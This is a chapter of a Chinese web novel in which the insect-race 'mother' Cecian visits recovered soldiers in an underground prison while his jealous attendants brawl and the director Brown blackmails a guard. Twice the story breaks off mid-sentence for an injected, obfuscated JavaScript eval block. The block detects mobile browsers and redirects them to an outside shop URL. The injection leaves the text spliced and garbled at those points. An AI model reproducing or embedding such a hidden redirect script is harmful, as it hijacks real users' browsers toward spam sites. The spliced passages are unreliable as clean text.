语气好似在等待仆从给主人满意的答复一般,漫不经心,却勾魂夺魄。 布朗站在他侧后方,将这无与伦比的美景尽收眼底,不由得停下话头。 “……” “您的头发散开了。”他怔愣地说道,脑海中只剩下这一个想法。 “嗯?” 布朗走近一步,轻轻解开他的发圈,重新用手指仔细梳理雪白的发丝。 成年虫族普遍在两米以上,一米八的塞西安在他们面前显得有些矮小,他轻轻松松为虫母扎起头发。 直到后退几步,他都无法忽略指尖摩挲的触感,持续回味。 “所以,我怀疑您并非刚刚出生,也许在那天之前,您已经存活了很长时间。也有可能,人类对您的迫害不止那一次。” 他大胆的猜测让塞西安停下离开的步伐。 人类对他的迫害确实不止那一次,那一次只是他再无利用价值后的抹杀。 但布朗仅仅依靠自己的身体情况就猜到了吗? 塞西安回过头,首次仔细审视布朗的脸:“你还知道什么?” 布朗走过来,示意他别这么紧张:“归墟007的原始虫族幸运地被您的精神力安抚,现在已经转化回人形,在地下一层修养。” “我知道,我准备去探望他们。” “希望他们能给您一点启发,想起更多的记忆。” 看来是在那些原始虫族身上找到了什么线索,但他不确定,这究竟是布朗抛出来的饵,还是真正的线索之一。 并肩出门,塞西安微微挑唇,笑意却不达眼底:“你很关心我?” 布朗无奈笑道:“我一直都很关心您,您难道忘了,当时在飞船上给你处理伤口的是谁?” 他故意冲着奥罗斯摇摇头:“反正不是现场的其他人。” 奥罗斯:“你……”他瞥了布朗一眼,终究没有在虫母面前自毁形象。 这虫在外的名声臭了,在母亲眼里的形象毁了,跟他这种清清白白的虫可不一样。他不能为了一滩烂泥,把自己的鞋给弄脏了。 下午,塞西安按时完成奥罗斯的午睡任务,才前往地下一层。 皮埃尔紧急赶出一批服装送来,解释其他的还在等待布料运输。塞西安本不想这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16554131|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么铺张浪费,但在尤里尔他们期待雀跃的眼神里把话咽了回去。 尤里尔满脸祈求,拿着一套精心挑选的衣服,就差给他跪下了。 “……好吧。” 他身穿一件领口坠满宝石的花边衬衫,领口向下簇拥着精致的玫瑰花样,微微扩张的泡泡袖收束着手腕,只露出纤细的手指。 下身简简单单一条剪裁得当的紧身西裤,包裹着曼妙的曲线。尖头皮鞋踩在地上发出响亮的声音,翘起时依稀能看见红色的鞋底。 简直比贵族王子还要雍容华贵,无人不流露出赞叹不已的目光。 塞西安从未穿过这么精致昂贵的衣服,布料薄如蝉翼,穿在身上一点分量感都没有,却格外有型。 他不免显得拘谨,在尤里尔、兰修斯的摆弄下,像个不会动的瓷娃娃。 奥罗斯在一旁好笑地看着:“这身衣服并不会封印您的行动,您可以先适应一下。等继任大典完成,母皇的衣服要比这繁复厚重地多,就连常服也会华丽非凡。” “继任大典?” “虫母结束幼虫期,就会有一场盛大的继任大典,既是母皇的成熟礼,也是我们的效忠仪式。”奥罗斯解释,“这是虫族最盛大的宴会。” 塞西安挑眉,原来虫族也是帝制? 一路上,无论是医护人员还是病友,全都以崇拜向往的目光盯着塞西安,更有甚者热泪盈眶,一副要晕倒的模样。 塞西安:“……” “他们还健康吗?” 跟随在身侧的安瑟护士立刻抢答,被尤里尔狠狠瞪了一眼:“妈妈,他们很安全!” 安瑟体型矮小,在虫族之中像个异类,甚至比塞西安都要矮一个头,塞西安不免多看了他几眼。 他关注到,安瑟穿着一身……不那么体面,布料少到可怜,紧紧绷在身上的护士服。 他在一群虫族高大身躯的围堵下左钻右钻,灵活勇猛地钻到自己身边。 防止他摔倒,塞西安还好心地扶了他一把。 手指碰触的瞬间,安瑟白皙的小脸顿时全红,扭扭捏捏地扯着大腿根处的裤边:“谢谢妈妈,您真好。” “嗯。”虫族的护士服为什么这么奇怪?塞西安不了解也不理解,这真的能方便工作吗? 他摇摇头,让安瑟走在自己身侧。那些高大的虫子大多围在他一米以外,塞西安四周倒不算拥挤。 只是塞西安没有注意到的角落,无数道斥责嫉妒的视线聚焦在安瑟后背上,恨不得把这个小小的弱虫杀死。 恶心,孱弱,虚伪,嚣张,竟然敢用这种手段接近母亲,该死的家伙。 安瑟确实感受到身后如芒在刺的眼神,他恍若无辜地往塞西安身边靠了靠:“妈妈,为什么我觉得有些冷啊?” 塞西安往四周看了看,其他虫子立刻收起眼神,乖巧如初。 看向安瑟,他不好意思地偏过头。借着身高差,安瑟领口下的身体毫无芥蒂地向他敞露。 塞西安:“如果我有外套,还可以给你披一下。下次不要穿这么少出门。” 妈妈,还要给他衣服穿?! 安瑟笑眯了眼,人畜无害的笑容让塞西安放松了身体。同样是娃娃脸,尤里尔与兰修斯却让人警惕,他们浑身的破坏欲与危险感无法掩盖。 但安瑟就不一样了,他更加柔弱,娇小一只,连塞西安都怀疑他是否真的是虫族。 虫族竟然还有这么小的个体。 他悄悄勾起塞西安的手指:“我好爱您!” “……”塞西安有些不习惯地捏了捏手,终究没有推开。 这是个比较缺母爱的孩子吧。 20. 我当然更喜欢你们啊 到了地下一层,四周完全变了一副模样。 整洁白净的医院装饰全都被深色的牢狱景象取代,铁制防护网隔出单间,将这里包围地密不透风。 一层又一层相错交叠,真正实现了连一只苍蝇都飞不出去。塞西安猜测这与虫族能化身成很小的昆虫有关。 昏暗的走廊里只有寥寥几盏惨淡的白织灯坚守,扑面而来的阴暗压抑让塞西安不由地皱了皱眉头。 霍尔特带领的小队是这里的看守者,他的队员全都穿着整齐的军装,随身携带高杀伤力武器,此时严阵以待,随时守护虫母的安全。 他恭敬地单膝下跪,将右手放在胸前。垂下的面部有一道贯穿的刀疤,整个人散发的狂暴压迫怎么都隐藏不住。 霍尔特,精神值88,即将会退化成原始虫族,被流放到不知名的归墟。 但他很幸运,在死之前等到了母亲的归来,他的精神值已经不再上升,也许还有下降的可能。 “母亲,红刃小队誓死保卫您的安全。”他低着头,担心母亲会因为他的面容而厌恶。 以前,他从未在意过外表,直到塞西安出现。 一只洁白的手递到眼前,薄纱布料下的皮肤如玉石般莹润。 他顿了顿,颤抖着将布满老茧与疮痍的手放上去,目眦欲裂,这简直是玷污! 塞西安不甚在意,他不觉得衣服整洁、武器锃亮的霍尔特会是个不爱干净的家伙。 这是位经验丰富的老兵,他感到熟悉。在很久以前,他也以为自己会这样结束一生。 将人拉起来,他有些不自在地咳了咳:“这里会有什么危险吗?” 一上来就下跪,吓得他差点后退几步。他这辈子没跪过人,也没被人跪过,太奇怪了。 “地下一层关押着濒临退化的虫族,时刻有完全退化的风险,他们的嘶吼与攻击可能会吓到您。”霍尔特带着他向里走去。 塞西安摆摆手:“我不是胆小的人。” 您当然不是。 霍尔特背在身后的手微微攥紧,渗出紧张的汗水。 从没有人会对他脸上的伤疤视若无睹,他们要么恐惧,要么警惕,要么深藏着厌恶。 但塞西安没有显露出任何情绪,就像他的眼睛一样清澈白净。 他将誓死守护这份纯洁,直到生命的最后一刻。 霍尔特停在一间牢房前,门开后,里面随意坐在地上的几人顿时警惕地站起来,适应着刺眼的光线。 牢房里没有光,所有的开关都在门外。霍尔特打开灯,先一步走进去。 普莱显然在这个小团体里混成了主心骨,他率先站出来,安分地摊开手,示意自己没有私藏武器:“霍尔特先生,您好。” 霍尔特没搭理他,警惕地环视一圈,确保他们没有弄什么花样,随后恭敬地让开身子。 屋内的虫子顿时瞪大眼睛,一位宛如天神的人从他身后走出,而隐秘在精神海深处的链接告诉他们,这是母亲,这是伟大而神圣的虫母! 他们竟然,竟然能够亲眼见到母亲! 塞西安冲他们微微一笑,一群人又是心神荡漾,陷入迷糊,沦陷在这份温柔里。 他转过头:“霍尔特,我可以单独和他们聊聊吗?” 霍尔特有些犹豫,他准备贴身守着塞西安:“母亲,他们完全退化过,我担心他们没有完全恢复。” 塞西安摇摇头,垂下的目光里有些怀念:“当时在归墟,是退化成原始虫族的他们保护我,让我免于被人类杀害,我相信他们。” 霍尔特攥紧拳头,他知道那些该死的人类曾经对虫母动手,但亲耳听见是另一回事。 他极力忍耐着胸中的怒火,后背肌肉瞬间紧绷,仿佛要立刻挣脱单薄的上衣。 他恨不得亲手将那些早已化成灰烬的凶手碎尸万段。 普莱等人的呼吸瞬间停住,又震惊又害怕,震惊他们竟然救了虫母,害怕母亲曾经差点死掉! 即使退化完全的虫族依旧能够感受到母亲的存在,他们认得祂,他们永远不会忘记祂,他们从身到心,完完全全属于祂。 霍尔特还想犹豫,奥罗斯拦住他:“这是母亲的命令。” 他们退了出去,塞西安关上最内侧的铁门,屋内顿时寂静无声,空虚寂寞攀爬上心脏。在军队,这也是一种惩戒手段。 身前投下巨大的阴影,危机感油然而生,塞西安连汗毛都要竖起来了,下意识就往旁边闪去,撞上一个柔软的身躯。 普莱一个激灵就闪身上前,生怕他摔到墙上。他不好意思地退后几步:“母亲,您小心。” “这里没有凳子,杜克的虫身比较平坦,您可以坐在他身上。” 那也不能偷偷摸摸站在他身后,PTSD都要犯了。 塞西安:“……不必。” 杜克遗憾地回到人形,腼腆一笑,身上依旧穿着那身军装,塞西安猜测这就是尤里尔口中那能吸附在皮肤表面的衣服。 “当时在飞船上,我尝试过将你们转化回人形,但差点迷失在精神海。”他有些自责地垂下头,“幸好,你们现在很健康。” 一群高大的男人顿时围了上来,乌压压一片,想碰又不敢碰,急地七嘴八舌: “您不要伤心!我们都很好!”他的头被后面的家伙打了一拳,真不会说话。 “您真是全天下最好的母亲!我……我为您死而无憾!”这个也被打了,常年在外征战,丧失爱情的家伙真是嘴笨,说不出好话。 “您这么关心我们,我们却什么都不记得,真该死……” 塞西安抬起头,精准地看向那只虫,他憨厚的脸庞单纯懊恼,一看就很好套话:“你们还记得之前在归墟上,是怎么保护我的吗?真的谢谢你们。” 那虫受宠若惊地挠挠头,羞涩地抬头看了一眼塞西安,和他对上视线后立刻低下头去。 妈妈,太美了。别人簇拥着上前,他却愚笨地站在原地。 因为他是队伍里最菜的那只虫,侦查进攻卧底的任务全都轮不到他,只能在后方当运输资源的司机,真是又蠢又没用。 这样垃圾的自己,妈妈是不会喜欢的。 谢利这样想着,懊恼地抱起脑袋,手背上却搭上一只细腻柔软的手。 他无法企及的、高贵的母亲正温柔地站在他身前三十厘米的地方,近到他能清晰地看见塞西安卷翘的白色睫毛,他从母亲全白的瞳孔中看见爱、温柔、肯定。 谢利腿一软,直愣愣跪在母亲脚边,不受控制地爬去抱着母亲的裤腿,眼泪汪汪:“妈妈……” 塞西安:“……” 这些动不动就跪的虫族究竟是什么毛病!说好的宇宙之敌,最强兵力,能够轻易摧毁一个星球的狂暴军队呢?! 自从来到这里,就发现这里的虫子怎么一个比一个纯良守序,到底是哪里出了问题?! 和他之前在战场上作战的不是一个品种吧! 他强撑着理智,温柔地问:“你叫什么?” “我叫谢利,我是从二十七星系三百六十四号星球出生的,进入流云公司负责运输战备物资,因为撞上大战被迫参与前线战斗,没来得及回去就被判退化,最后被流放到归墟的,妈妈……”他哽咽着。 哦,那你可真是个倒霉蛋。 怪不得归墟007以编号命名,这群虫子估计连星系星球各大片区全都用数字表示,简单粗暴到塞西安不得不吐槽。 “谢利,你能记得这么多事?我还以为你们退化后什么都不知道了。” 普莱实在看不下去,把哭哭啼啼的谢利拽了回去:“我们只是不记得退化后的记忆,我们的记忆从在归墟退化就断了,直到在这个黑暗的房间苏醒。” 塞西安稍微放下心,那他们就不记得自己在归墟上的行动:“醒来后,有人来找过你们吗?” “布朗院长要求我们配合他的研究,他想让更多的虫族从退化的状态中苏醒。” 塞西安扯起唇角,嘲讽地想,他能有这么好心? 目的是假,诱骗普莱他们配合研究才是真。 只可惜,这些虫失去了退化时的记忆,并不能泄露他的身份。 虫族显然需要虫母的精神力才能从退化状态中恢复,布朗无法从记忆入手,也无法拥有虫母的力量,他的研究想必不会造成很大威胁。 普莱继续说下去,他不知道母亲来的原因,但常年作战的敏锐让他清晰发现母亲与布朗之间的暗流涌动。 他应该提供更多信息: “布朗院长对我们的身体进行了采样,但有一只虫您需要注意。他身材矮小,长得人畜无害,但能力非常特殊,他的毒素能使敌人陷入幻境,同时操控幻境并探入对方的记忆,寻找弱点。您遇见了一定要小心……” 塞西安越听越耳熟。 “他的名字,叫安瑟。” 门外,安瑟被尤里尔一拳砸到旁边的防护网上,那铁网瞬间在皮肤上映出同样形状的红痕。 他体型矮小,自然打不过身强体壮的尤里尔,此时撞得满眼金星,瘫坐在地上。 单薄稀少的布料泄露出大片肌肤,但无人在意。虫族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16554132|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的性取向里只有虫母,对待同类,他们只会攻击。 安瑟收起在母亲面前那副柔弱无辜的表情,转而变得狠戾疯癫,黑色的瞳孔中央出现白色的圆点,逐渐放大,逼近外缘。 “你不就是比我多了个眷属的身份?凭什么毫无阻拦就当上母亲的近侍?能力低成绩差,贪玩好战还爱偷懒,没了眷属身份,你算个屁……” 他的咒骂被又一拳打断,纤弱的身躯缓缓倒在地上。 尤里尔的拳头高高扬起,安瑟还有心情笑出声:“妈妈不会原谅你的,哈哈哈哈哈……” 他是故意惹怒尤里尔的! 奥罗斯皱着眉拉走尤里尔,本来雄虫之间的打架,他不该参与,但扯到了虫母,他只能出手制止。 霍尔特守在门前,对身后的打闹满不在乎,他心里只有温柔美丽的母亲。 尤里尔眼中碧绿的漩涡纹淡去,他嘲讽一笑。 “你这样畸形的身体,在床上根本不能让妈妈爽到,废物。” 安瑟的笑声停下来,转而阴狠地凝视着他。 虫族大多身形高大,都在两米以上,最高的莱斯特将军得有两米三多。 但他却是虫族唯一一个矮人,天生受人嘲笑。 他抱住自己的身体,喃喃自语:“我可以……我有别的方法,让妈妈舒服……” 他会好好侍奉母亲的。 塞西安走出来,复杂地看了一眼蜷缩在地上的安瑟,环视一圈:“尤里尔,你又打架了?” 尤里尔二话没说,扑通一声跪倒在母亲脚边:“妈妈,我错了……” 塞西安状若无奈地叹了口气,在尤里尔震惊的目光里狠心离开:“走吧。” 安瑟:“……?” 妈妈没有重罚尤里尔,为什么?? 为什么?! 他趴在地上,透过肿痛的眼眶阴翳地注视着那道洁白的背影。 医疗队自然跟在母亲身后,一行人浩浩荡荡离开。 不久,一个悠然自得的身影缓缓步入这里,绕过地上阴暗爬行的安瑟。 布朗:“我要虫母在关押室内的监控记录。” 霍尔特没有动,谨慎地看着布朗:“没有虫有权利窥探母亲的行动。” 布朗早有预料地笑了,那位母亲,魅力真是大到让虫有些烦扰了,短短十分钟的见面就能让霍尔特归顺。 他慢悠悠坐下:“霍尔特,你别忘了,是谁让你在战场上活下来,让你躲在这里,避免退化成原始虫族的。” “还是你想让母亲知道,霍尔特曾经是个逃兵,为了苟活不肯上前线呢?” 霍尔特瞬间站起来,椅子猛地被踹倒,发出巨大的响动,在寂静的地底震耳欲聋。 他的手已经落在随身携带的枪上,布朗却依旧安稳坐在原地,手心把玩着一支独特的药剂。 “谁先死?这问题我不好回答。”布朗怎么可能不握着别人的把柄,是谁,有底气跟他叫板? 他早就对霍尔特等人动手了,手心淡蓝色的药剂散发幽幽荧光:“这是唯一的解剂。” “而且,我又不会杀害母亲,你那么激动做什么。”他头疼地揉揉额角。 霍尔特:“……你保证不会对母亲不利。” 布朗举起双手:“我保证。” 塞西安回到顶楼,有些疲惫地坐下,尤里尔示好般贴到他身边:“妈妈,对不起,我以后真的不打架了。” “是他!都怪他先出言不逊,我才打他的!” 塞西安无奈地揉了揉他的脑袋,将他额前的碎发拨开,露出碧绿的眼睛:“那他说你什么了?” 见母亲站在自己身边,尤里尔有底气了,挺直了身子告状:“他说我是废物,就靠着眷属的身份才能留在您身边,他才配做眷属呜呜呜……” 安瑟也想留在他身边? 根据普莱的话,安瑟是布朗研究的重要人物,他很有可能就是布朗的人。难道布朗想往他身边安插眼睛? 他叹了口气,忽然靠到尤里尔肩膀上,脱力地依偎着他,身下的身躯立刻僵硬:“我当然更喜欢你和兰修斯啊。” 远处的兰修斯,默默与尤里尔交换了一个眼神。 尤里尔笨拙地将他抱进怀里,把头搁在塞西安头顶,他能轻轻松松将塞西安整个人包住:“我也爱您。” 夜晚,塞西安躺在床上,翻来覆去睡不安稳。 一只小小的跳蛛攀爬上窗沿,轻巧地钻进房间。 塞西安揪着头发的手瞬间顿住,无力地坠下,整个人流入一个晕眩深沉的漩涡……